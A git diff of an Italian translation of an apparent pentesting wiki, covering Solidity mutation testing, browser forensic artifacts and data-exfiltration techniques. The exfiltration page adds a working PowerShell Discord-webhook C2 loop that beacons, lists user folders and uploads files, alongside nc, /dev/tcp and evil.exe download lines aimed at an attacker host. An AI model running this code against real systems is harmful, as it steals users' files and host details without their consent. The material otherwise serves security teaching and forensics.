 - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@@ -183,7 +191,7 @@ Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire
 
 ## DeFi/AMM Exploitation
 
-If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
+Se stai ricercando lo sfruttamento pratico di DEXes e AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), consulta:
 
 {{#ref}}
 defi-amm-hook-precision.md

src/blockchain/smart-contract-security/mutation-testing-with-slither.md

@@ -0,0 +1,116 @@
+# Mutation Testing for Solidity with Slither (slither-mutate)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Mutation testing "tests your tests" introducendo sistematicamente piccole modifiche (mutanti) nel tuo codice Solidity e rieseguendo la suite di test. Se un test fallisce, il mutante viene ucciso. Se i test continuano a passare, il mutante sopravvive, rivelando un punto cieco nella tua suite di test che la copertura di linee/branch non può rilevare.
+
+Idea chiave: la copertura mostra che il codice è stato eseguito; mutation testing mostra se il comportamento è effettivamente asserito.
+
+## Perché la copertura può ingannare
+
+Considera questo semplice controllo di soglia:
+```solidity
+function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
+if (deposit >= 1 ether) {
+return true;
+} else {
+return false;
+}
+}
+```
+I unit test che verificano solo un valore sotto e uno sopra la soglia possono raggiungere il 100% di copertura di linee/branch pur non asserendo il confine di uguaglianza (==). Una rifattorizzazione in `deposit >= 2 ether` passerebbe comunque tali test, compromettendo silenziosamente la logica del protocollo.
+
+Mutation testing evidenzia questa lacuna mutando la condizione e verificando che i test falliscano.
+
+## Operatori di mutazione comuni di Solidity
+
+Slither’s mutation engine applica molte piccole modifiche che cambiano la semantica, come:
+- Sostituzione degli operatori: `+` ↔ `-`, `*` ↔ `/`, ecc.
+- Sostituzione delle assegnazioni: `+=` → `=`, `-=` → `=`
+- Sostituzione delle costanti: valore non nullo → `0`, `true` ↔ `false`
+- Negazione/sostituzione della condizione dentro `if`/cicli
+- Commentare intere righe (CR: Comment Replacement)
+- Sostituire una riga con `revert()`
+- Scambio di tipi di dato: es. `int128` → `int64`
+
+Obiettivo: uccidere il 100% dei mutanti generati, oppure giustificare i sopravvissuti con ragionamenti chiari.
+
+## Eseguire mutation testing con slither-mutate
+
+Requisiti: Slither v0.10.2+.
+
+- Elenca opzioni e mutators:
+```bash
+slither-mutate --help
+slither-mutate --list-mutators
+```
+- Esempio Foundry (cattura i risultati e mantieni un log completo):
+```bash
+slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
+```
+- Se non usi Foundry, sostituisci `--test-cmd` con il comando che usi per eseguire i test (es., `npx hardhat test`, `npm test`).
+
+Gli artifacts e i report vengono salvati in `./mutation_campaign` per impostazione predefinita. I mutanti non eliminati (sopravvissuti) vengono copiati lì per l'ispezione.
+
+### Comprendere l'output
+
+Le righe del report appaiono così:
+```text
+INFO:Slither-Mutate:Mutating contract ContractName
+INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
+```
+- The tag in brackets is the mutator alias (e.g., `CR` = Comment Replacement).
+- `UNCAUGHT` means tests passed under the mutated behavior → missing assertion.
+
+## Ridurre il runtime: dare priorità ai mutanti impattanti
+
+Le campagne di mutation possono richiedere ore o giorni. Suggerimenti per ridurre i costi:
+- Scope: Inizia solo con i contratti/directory critici, poi espandi.
+- Prioritize mutators: Se un mutante ad alta priorità su una riga sopravvive (es., intera riga commentata), puoi saltare le varianti a priorità inferiore per quella riga.
+- Parallelize tests se il tuo runner lo permette; cache dipendenze/build.
+- Fail-fast: interrompi presto quando una modifica dimostra chiaramente una lacuna di asserzione.
+
+## Flusso di triage per i mutanti sopravvissuti
+
+1) Ispeziona la riga mutata e il comportamento.
+- Riproduci localmente applicando la riga mutata ed eseguendo un test mirato.
+
+2) Rafforza i test per asserire lo stato, non solo i valori di ritorno.
+- Aggiungi controlli di confine di uguaglianza (es., test threshold `==`).
+- Asserisci post-condizioni: saldi, total supply, effetti di autorizzazione e eventi emessi.
+
+3) Sostituisci mock troppo permissivi con comportamenti realistici.
+- Assicurati che i mock impongano transfers, percorsi di fallimento e emissione di eventi che avvengono on-chain.
+
+4) Aggiungi invarianti per i fuzz tests.
+- Es.: conservazione del valore, saldi non negativi, invarianti di autorizzazione, supply monotona dove applicabile.
+
+5) Riesegui slither-mutate fino a quando i sopravvissuti non vengono uccisi o giustificati esplicitamente.
+
+## Caso di studio: rivelare asserzioni di stato mancanti (protocollo Arkis)
+
+Una campagna di mutation durante un audit del protocollo Arkis DeFi ha fatto emergere sopravvissuti come:
+```text
+INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
+```
+Commenting out the assignment didn’t break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency.
+
+Guidance: Treat survivors that affect value transfers, accounting, or access control as high-risk until killed.
+
+## Checklist pratica
+
+- Esegui una campagna mirata:
+- `slither-mutate ./src/contracts --test-cmd="forge test"`
+- Fai il triage dei survivors e scrivi test/invarianti che fallirebbero con il comportamento mutato.
+- Verifica saldi, supply, autorizzazioni ed eventi.
+- Aggiungi test sui limiti (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Sostituisci mock non realistici; simula modalità di failure.
+- Itera finché tutti i mutants non sono eliminati o giustificati con commenti e motivazioni.
+
+## References
+
+- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
+- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
+- [Slither (GitHub)](https://github.com/crytic/slither)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/generic-hacking/exfiltration.md

@@ -1,12 +1,12 @@
-# Exfiltrazione
+# Exfiltration
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Domini comunemente autorizzati per l'exfiltrazione di informazioni
+## Domini comunemente consentiti per l'esfiltrazione di informazioni
 
-Controlla [https://lots-project.com/](https://lots-project.com/) per trovare domini comunemente autorizzati che possono essere abusati
+Consulta [https://lots-project.com/](https://lots-project.com/) per trovare domini comunemente whitelistati che possono essere abusati
 
-## Copia\&Incolla Base64
+## Copy\&Paste Base64
 
 **Linux**
 ```bash
@@ -42,10 +42,10 @@ Start-BitsTransfer -Source $url -Destination $output
 #OR
 Start-BitsTransfer -Source $url -Destination $output -Asynchronous
 ```
-### Carica file
+### Caricamento file
 
 - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
-- [**SimpleHttpServer che stampa GET e POST (anche intestazioni)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
+- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
 - Modulo Python [uploadserver](https://pypi.org/project/uploadserver/):
 ```bash
 # Listen to files
@@ -100,6 +100,91 @@ if __name__ == "__main__":
 app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ###
 ```
+## Webhooks (Discord/Slack/Teams) per C2 & Data Exfiltration
+
+Webhooks sono endpoint HTTPS in sola scrittura che accettano JSON e parti file opzionali. Vengono comunemente autorizzati su domini SaaS attendibili e non richiedono OAuth/API keys, rendendoli utili per beaconing e exfiltration a basso attrito.
+
+Punti chiave:
+- Endpoint: Discord usa https://discord.com/api/webhooks/<id>/<token>
+- POST multipart/form-data con una parte chiamata payload_json contenente {"content":"..."} e parti file opzionali chiamate file.
+- Pattern di loop dell'operatore: beacon periodico -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confermano la consegna.
+
+PowerShell PoC (Discord):
+```powershell
+# 1) Configure webhook and optional target file
+$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
+$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
+
+# 2) Reuse a single HttpClient
+$client = [System.Net.Http.HttpClient]::new()
+
+function Send-DiscordText {
+param([string]$Text)
+$payload = @{ content = $Text } | ConvertTo-Json -Compress
+$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
+$mp = New-Object System.Net.Http.MultipartFormDataContent
+$mp.Add($jsonContent, "payload_json")
+$resp = $client.PostAsync($webhook, $mp).Result
+Write-Host "[Discord] text -> $($resp.StatusCode)"
+}
+
+function Send-DiscordFile {
+param([string]$Path, [string]$Name)
+if (-not (Test-Path $Path)) { return }
+$bytes = [System.IO.File]::ReadAllBytes($Path)
+$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
+$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
+$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
+$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
+$mp = New-Object System.Net.Http.MultipartFormDataContent
+$mp.Add($jsonContent, "payload_json")
+$mp.Add($fileContent, "file", $Name)
+$resp = $client.PostAsync($webhook, $mp).Result
+Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
+}
+
+# 3) Beacon/recon/exfil loop
+$ctr = 0
+while ($true) {
+$ctr++
+# Beacon
+$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
+Send-DiscordText -Text $beacon
+
+# Every 2nd: quick folder listing
+if ($ctr % 2 -eq 0) {
+$dirs = @("Documents","Desktop","Downloads","Pictures")
+$acc = foreach ($d in $dirs) {
+$p = Join-Path $env:USERPROFILE $d
+$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
+if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
+}
+Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
+}
+
+# Every 3rd: targeted exfil
+if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
+
+# Every 4th: basic recon
+if ($ctr % 4 -eq 0) {
+$who = whoami
+$ip  = ipconfig | Out-String
+$tmp = Join-Path $env:TEMP "recon.txt"
+"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
+Send-DiscordFile -Path $tmp -Name "recon.txt"
+}
+
+Start-Sleep -Seconds 20
+}
+```
+Note:
+- Schemi simili si applicano ad altre piattaforme di collaborazione (Slack/Teams) che usano i rispettivi incoming webhooks; adatta l'URL e lo schema JSON di conseguenza.
+- Per DFIR degli artefatti della cache di Discord Desktop e per il recupero di webhook/API, vedi:
+
+{{#ref}}
+../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
+{{#endref}}
+
 ## FTP
 
 ### FTP server (python)
@@ -130,7 +215,7 @@ mkdir -p /ftphome
 chown -R ftpuser:ftpgroup /ftphome/
 /etc/init.d/pure-ftpd restart
 ```
-### **Client** Windows
+### **Windows** client
 ```bash
 #Work well with python. With pure-ftp use fusr:ftp
 echo open 10.11.0.41 21 > ftp.txt
@@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
 #For new Win10 versions
 impacket-smbserver -smb2support -user test -password test test `pwd`
 ```
-O crea una condivisione smb **utilizzando samba**:
+Oppure crea una condivisione smb **usando samba**:
 ```bash
 apt-get install samba
 mkdir /tmp/smb
@@ -181,7 +266,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
 ```
 ## SSHFS
 
-Se la vittima ha SSH, l'attaccante può montare una directory dalla vittima all'attaccante.
+Se la victim ha SSH, the attacker può montare una directory della victim sul proprio sistema.
 ```bash
 sudo apt-get install sshfs
 sudo mkdir /mnt/sshfs
@@ -194,12 +279,12 @@ nc -vn <IP> 4444 < exfil_file
 ```
 ## /dev/tcp
 
-### Scarica file dalla vittima
+### Scaricare file dalla vittima
 ```bash
 nc -lvnp 80 > file #Inside attacker
 cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
 ```
-### Carica file sulla vittima
+### Caricare un file sulla vittima
 ```bash
 nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
 # Inside victim
@@ -228,13 +313,13 @@ sniff(iface="tun0", prn=process_packet)
 ```
 ## **SMTP**
 
-Se puoi inviare dati a un server SMTP, puoi creare un SMTP per ricevere i dati con python:
+Se puoi inviare dati a un server SMTP, puoi creare un server SMTP per ricevere i dati con python:
 ```bash
 sudo python -m smtpd -n -c DebuggingServer :25
 ```
 ## TFTP
 
-Per impostazione predefinita in XP e 2003 (negli altri deve essere aggiunto esplicitamente durante l'installazione)
+Di default in XP e 2003 (in altri deve essere aggiunto esplicitamente durante l'installazione)
 
 In Kali, **avvia il server TFTP**:
 ```bash
@@ -248,7 +333,7 @@ cp /path/tp/nc.exe /tftp
 pip install ptftpd
 ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
 ```
-In **victima**, connettiti al server Kali:
+In **vittima**, connettiti al server Kali:
 ```bash
 tftp -i <KALI-IP> get nc.exe
 ```
@@ -296,14 +381,24 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
 ```
 ## Debug.exe
 
-Il programma `debug.exe` non solo consente l'ispezione dei file binari, ma ha anche la **capacità di ricostruirli da esadecimali**. Ciò significa che fornendo un esadecimale di un file binario, `debug.exe` può generare il file binario. Tuttavia, è importante notare che debug.exe ha una **limitazione nell'assemblare file fino a 64 kb di dimensione**.
+Il programma `debug.exe` non solo permette l'ispezione dei binaries ma ha anche la **capacità di ricostruirli da hex**. Ciò significa che, fornendo un hex di un binary, `debug.exe` può generare il file binary. Tuttavia, è importante notare che debug.exe ha una **limitazione nell'assemblare file fino a 64 kb di dimensione**.
 ```bash
 # Reduce the size
 upx -9 nc.exe
 wine exe2bat.exe nc.exe nc.txt
 ```
-Poi copia e incolla il testo nella shell di Windows e verrà creato un file chiamato nc.exe.
+Quindi copia e incolla il testo nella windows-shell e verrà creato un file chiamato nc.exe.
+
+- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
 
 ## DNS
 
+- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
+
+## Riferimenti
+
+- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
+- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
+- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
+
 {{#include ../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md

@@ -1,58 +1,58 @@
-# Browser Artifacts
+# Artefatti del Browser
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Browser Artifacts <a href="#id-3def" id="id-3def"></a>
+## Artefatti del Browser <a href="#id-3def" id="id-3def"></a>
 
-Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, che differiscono per posizione e nome tra i browser, ma generalmente memorizzano tipi di dati simili.
+Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e la cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, con posizioni e nomi differenti a seconda del browser, ma generalmente contengono tipi di dati simili.
 
-Ecco un riepilogo degli artefatti del browser più comuni:
+Ecco un riepilogo dei più comuni artefatti del browser:
 
-- **Cronologia di Navigazione**: Tiene traccia delle visite degli utenti ai siti web, utile per identificare le visite a siti malevoli.
-- **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione.
-- **Segnalibri**: Siti salvati dall'utente per un accesso rapido.
-- **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente.
-- **Cache**: Memorizza contenuti web (ad es., immagini, file JavaScript) per migliorare i tempi di caricamento dei siti web, prezioso per l'analisi forense.
-- **Accessi**: Credenziali di accesso memorizzate.
-- **Favicon**: Icone associate ai siti web, che appaiono nelle schede e nei segnalibri, utili per ulteriori informazioni sulle visite degli utenti.
-- **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte.
-- **Download**: Registrazioni dei file scaricati tramite il browser.
-- **Dati dei Moduli**: Informazioni inserite nei moduli web, salvate per future suggerimenti di autocompletamento.
-- **Miniature**: Immagini di anteprima dei siti web.
+- **Navigation History**: Tiene traccia delle visite dell'utente ai siti web, utile per identificare visite a siti malevoli.
+- **Autocomplete Data**: Suggerimenti basati sulle ricerche frequenti, che offrono informazioni utili se combinati con la cronologia di navigazione.
+- **Bookmarks**: Siti salvati dall'utente per un accesso rapido.
+- **Extensions and Add-ons**: Estensioni o add-on del browser installati dall'utente.
+- **Cache**: Memorizza contenuti web (es. immagini, file JavaScript) per migliorare i tempi di caricamento dei siti, preziosa per l'analisi forense.
+- **Logins**: Credenziali di accesso memorizzate.
+- **Favicons**: Icone associate ai siti web, visualizzate nelle tab e nei segnalibri, utili per informazioni aggiuntive sulle visite utente.
+- **Browser Sessions**: Dati relativi alle sessioni del browser aperte.
+- **Downloads**: Registri dei file scaricati tramite il browser.
+- **Form Data**: Informazioni inserite nei form web, salvate per suggerimenti di autofill futuri.
+- **Thumbnails**: Immagini di anteprima dei siti web.
 - **Custom Dictionary.txt**: Parole aggiunte dall'utente al dizionario del browser.
 
 ## Firefox
 
-Firefox organizza i dati degli utenti all'interno dei profili, memorizzati in posizioni specifiche in base al sistema operativo:
+Firefox organizza i dati utente all'interno di profili, memorizzati in posizioni specifiche a seconda del sistema operativo:
 
 - **Linux**: `~/.mozilla/firefox/`
 - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
 - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
 
-Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella nominata nella variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stesso. Se la cartella di un profilo è mancante, potrebbe essere stata eliminata.
+Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella il cui nome è indicato nella variabile `Path` dentro `profiles.ini`, situata nella stessa directory di `profiles.ini`. Se la cartella di un profilo manca, potrebbe essere stata cancellata.
 
-All'interno di ciascuna cartella del profilo, puoi trovare diversi file importanti:
+All'interno di ogni cartella del profilo, puoi trovare diversi file importanti:
 
-- **places.sqlite**: Memorizza cronologia, segnalibri e download. Strumenti come [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) su Windows possono accedere ai dati della cronologia.
-- Usa query SQL specifiche per estrarre informazioni sulla cronologia e sui download.
+- **places.sqlite**: Memorizza cronologia, segnalibri e download. Tool come [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) su Windows possono accedere ai dati della cronologia.
+- Use specific SQL queries to extract history and downloads information.
 - **bookmarkbackups**: Contiene backup dei segnalibri.
-- **formhistory.sqlite**: Memorizza i dati dei moduli web.
-- **handlers.json**: Gestisce i gestori di protocollo.
+- **formhistory.sqlite**: Memorizza i dati dei form web.
+- **handlers.json**: Gestisce i protocol handlers.
 - **persdict.dat**: Parole del dizionario personalizzato.
-- **addons.json** e **extensions.sqlite**: Informazioni su componenti aggiuntivi e estensioni installati.
+- **addons.json** and **extensions.sqlite**: Informazioni su add-on ed estensioni installate.
 - **cookies.sqlite**: Memorizzazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows.
-- **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
-- **favicons.sqlite**: Memorizza i favicon.
-- **prefs.js**: Impostazioni e preferenze dell'utente.
-- **downloads.sqlite**: Database dei download più vecchi, ora integrato in places.sqlite.
-- **thumbnails**: Miniature dei siti web.
-- **logins.json**: Informazioni di accesso crittografate.
-- **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili.
+- **cache2/entries** or **startupCache**: Dati di cache, accessibili tramite tool come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
+- **favicons.sqlite**: Memorizza i favicons.
+- **prefs.js**: Impostazioni e preferenze utente.
+- **downloads.sqlite**: Vecchio database dei download, ora integrato in places.sqlite.
+- **thumbnails**: Thumbnails dei siti web.
+- **logins.json**: Informazioni di login criptate.
+- **key4.db** o **key3.db**: Memorizzano le chiavi di cifratura per proteggere le informazioni sensibili.
 
-Inoltre, controllare le impostazioni anti-phishing del browser può essere fatto cercando le voci `browser.safebrowsing` in `prefs.js`, che indicano se le funzionalità di navigazione sicura sono abilitate o disabilitate.
+Inoltre, per controllare le impostazioni anti-phishing del browser è possibile cercare voci `browser.safebrowsing` in `prefs.js`, che indicano se le funzionalità di safe browsing sono abilitate o disabilitate.
 
 Per provare a decrittare la password principale, puoi usare [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
-Con il seguente script e chiamata puoi specificare un file di password da forzare:
+Con il seguente script e la chiamata puoi specificare un file di password per eseguire brute force:
 ```bash:brute.sh
 #!/bin/bash
 
@@ -67,63 +67,69 @@ done < $passfile
 
 ## Google Chrome
 
-Google Chrome memorizza i profili utente in posizioni specifiche in base al sistema operativo:
+Google Chrome memorizza i profili utente in posizioni specifiche a seconda del sistema operativo:
 
 - **Linux**: `~/.config/google-chrome/`
 - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
 - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
 
-All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi:
+All'interno di queste directory, la maggior parte dei dati utente si trova nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati importanti:
 
-- **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) può essere utilizzato per leggere la cronologia. La colonna "Transition Type" ha vari significati, inclusi i clic dell'utente su link, URL digitati, invii di moduli e ricariche di pagina.
-- **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
-- **Cache**: Contiene dati memorizzati nella cache. Per ispezionare, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
+- **History**: Contiene URL, download e parole chiave di ricerca. Su Windows è possibile usare [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) per leggere la history. La colonna "Transition Type" ha diversi significati, inclusi click dell'utente sui link, URL digitati, invio di form e ricariche della pagina.
+- **Cookies**: Memorizza i cookie. Per l'ispezione è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
+- **Cache**: Contiene dati in cache. Per ispezionare, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
+
+Le app desktop basate su Electron (es. Discord) usano anch'esse Chromium Simple Cache e lasciano ricchi artefatti su disco. Vedi:
+
+{{#ref}}
+discord-cache-forensics.md
+{{#endref}}
 - **Bookmarks**: Segnalibri dell'utente.
-- **Web Data**: Contiene la cronologia dei moduli.
-- **Favicons**: Memorizza le favicon dei siti web.
-- **Login Data**: Include le credenziali di accesso come nomi utente e password.
-- **Current Session**/**Current Tabs**: Dati sulla sessione di navigazione attuale e sulle schede aperte.
-- **Last Session**/**Last Tabs**: Informazioni sui siti attivi durante l'ultima sessione prima che Chrome fosse chiuso.
+- **Web Data**: Contiene la cronologia dei form.
+- **Favicons**: Memorizza i favicons dei siti.
+- **Login Data**: Include credenziali di accesso come username e password.
+- **Current Session**/**Current Tabs**: Dati sulla sessione di navigazione corrente e sulle schede aperte.
+- **Last Session**/**Last Tabs**: Informazioni sui siti attivi nell'ultima sessione prima della chiusura di Chrome.
 - **Extensions**: Directory per le estensioni e gli addon del browser.
 - **Thumbnails**: Memorizza le miniature dei siti web.
-- **Preferences**: Un file ricco di informazioni, incluse le impostazioni per plugin, estensioni, pop-up, notifiche e altro.
-- **Browser’s built-in anti-phishing**: Per controllare se la protezione anti-phishing e malware è attivata, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output.
+- **Preferences**: Un file ricco di informazioni, incluse impostazioni per plugin, estensioni, pop-up, notifiche e altro.
+- **Browser’s built-in anti-phishing**: Per verificare se la protezione anti-phishing e malware è abilitata, esegui `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cerca `{"enabled: true,"}` nell'output.
 
-## **Recupero Dati SQLite DB**
+## **SQLite DB Data Recovery**
 
-Come puoi osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare le voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
+Come si può osservare nelle sezioni precedenti, sia Chrome che Firefox usano database **SQLite** per memorizzare i dati. È possibile **recuperare voci cancellate usando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
 
 ## **Internet Explorer 11**
 
-Internet Explorer 11 gestisce i propri dati e metadati in diverse posizioni, aiutando a separare le informazioni memorizzate e i relativi dettagli per un facile accesso e gestione.
+Internet Explorer 11 gestisce i suoi dati e metadati in varie posizioni, facilitando la separazione delle informazioni memorizzate e dei relativi dettagli per un accesso e una gestione più semplici.
 
-### Archiviazione dei Metadati
+### Metadata Storage
 
-I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Insieme a questo, il file `V01.log` potrebbe mostrare discrepanze nei tempi di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile discernere le specifiche tabelle o contenitori in cui è memorizzato ciascun segmento di dati, inclusi i dettagli della cache per altri strumenti Microsoft come Skype.
+I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Insieme a questo, il file `V01.log` potrebbe mostrare discrepanze nei tempi di modifica rispetto a `WebcacheVX.data`, indicando la necessità di riparazione con `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati rispettivamente con strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). Nella tabella **Containers** si possono individuare le tabelle o i container specifici dove è memorizzato ogni segmento di dati, includendo dettagli di cache per altri strumenti Microsoft come Skype.
 
-### Ispezione della Cache
+### Cache Inspection
 
-Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome del file, directory, conteggio degli accessi, origine URL e timestamp che indicano i tempi di creazione, accesso, modifica e scadenza della cache.
+Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permette l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati di cache. I metadati della cache includono nome file, directory, numero di accessi, URL di origine e timestamp che indicano creazione, accesso, modifica e scadenza della cache.
 
-### Gestione dei Cookie
+### Cookies Management
 
-I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggi di accesso e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria.
+I cookie possono essere esplorati usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggio accessi e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria.
 
-### Dettagli dei Download
+### Download Details
 
-I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione di download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
